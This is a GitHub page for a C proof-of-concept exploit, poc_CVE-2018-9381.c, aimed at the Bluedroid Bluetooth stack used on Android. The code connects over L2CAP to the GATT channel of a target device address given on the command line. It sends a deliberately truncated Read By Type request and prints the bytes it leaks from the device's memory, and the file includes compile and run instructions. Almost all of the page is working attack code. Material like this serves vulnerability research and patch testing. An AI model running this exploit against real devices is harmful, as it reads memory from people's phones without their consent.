forked from hausferd/Bluedroid
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathpoc_CVE-2018-9381.c
More file actions
137 lines (104 loc) · 3.16 KB
/
poc_CVE-2018-9381.c
File metadata and controls
137 lines (104 loc) · 3.16 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
/*
gcc poc.c -o poc -lbluetooth
./poc TARGET_ADDR
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <errno.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/l2cap.h>
#define BT_PSM_GATT 31
#define GATT_REQ_READ_BY_TYPE 0x08
#define UINT16_TO_STREAM(p, u16) \
{ \
*(p)++ = (uint8_t)(u16); \
*(p)++ = (uint8_t)((u16) >> 8); \
}
#define STREAM_TO_UINT16(u16, p) \
{ \
(u16) = ((uint16_t)(*(p)) + (((uint16_t)(*((p) + 1))) << 8)); \
(p) += 2; \
}
#define GATT_BLD_OPCODE(p, opcode) \
do{ \
*(p)++ = opcode; \
}while(0)
void recv_and_leak(int sock_fd)
{
uint8_t recv_buf[512];
int ret;
memset(recv_buf, 0, 512);
ret = recv(sock_fd, recv_buf, 512, 0);
if(ret == -1) {
perror("[*] recv handle : ");
return;
}
printf("recv len: %d\n", ret);
uint16_t handle = 0;
uint8_t *p = (recv_buf + 2);
STREAM_TO_UINT16(handle, p);
printf("leak data: %04x\n", handle);
}
void send_trigger_req(int sock_fd)
{
uint8_t buffer[1024];
memset(buffer, 0, 1024);
uint8_t *p = buffer;
GATT_BLD_OPCODE(p, GATT_REQ_READ_BY_TYPE);
//uint16_t s_hdl = 0x0001, e_hdl = 0x000f;
//UINT16_TO_STREAM(p, s_hdl);
//UINT16_TO_STREAM(p, e_hdl);
//uint16_t uuid = 0x2a05; // not 0x2800 - 0x2803
//UINT16_TO_STREAM(p, uuid);
send(sock_fd, buffer, p - buffer, 0);
recv_and_leak(sock_fd);
}
int main(int argc ,char* argv[]){
int sock_fd, ret;
int try_count = 1;
char dest[18];
struct sockaddr_l2 local_l2_addr;
struct sockaddr_l2 remote_l2_addr;
if(argc < 2){
printf("usage : sudo ./poc TARGET_ADDR\n");
return -1;
}
strncpy(dest, argv[1], 18);
while( try_count-- > 0 )
{
sock_fd = socket(PF_BLUETOOTH, SOCK_STREAM, BTPROTO_L2CAP);
if(sock_fd == -1){
perror("[*] socket create failed : ");
return -1;
}
memset(&local_l2_addr, 0, sizeof(struct sockaddr_l2));
local_l2_addr.l2_family = PF_BLUETOOTH;
memcpy(&local_l2_addr.l2_bdaddr , BDADDR_ANY, sizeof(bdaddr_t));
ret = bind(sock_fd, (struct sockaddr*) &local_l2_addr, sizeof(struct sockaddr_l2));
if(ret == -1){
perror("[*] bind()");
goto out;
}
// l2cap_set_mtu(sock_fd, 1024, 1024);
memset(&remote_l2_addr, 0, sizeof(remote_l2_addr));
remote_l2_addr.l2_family = PF_BLUETOOTH;
remote_l2_addr.l2_psm = htobs(BT_PSM_GATT);
str2ba(dest, &remote_l2_addr.l2_bdaddr);
if(connect(sock_fd, (struct sockaddr *) &remote_l2_addr,sizeof(remote_l2_addr)) < 0) {
perror("[*] can't connect");
// if(errno == 100)
// goto vul;
goto out;
}
send_trigger_req(sock_fd);
sleep(1);
}
out:
close(sock_fd);
return 0;
}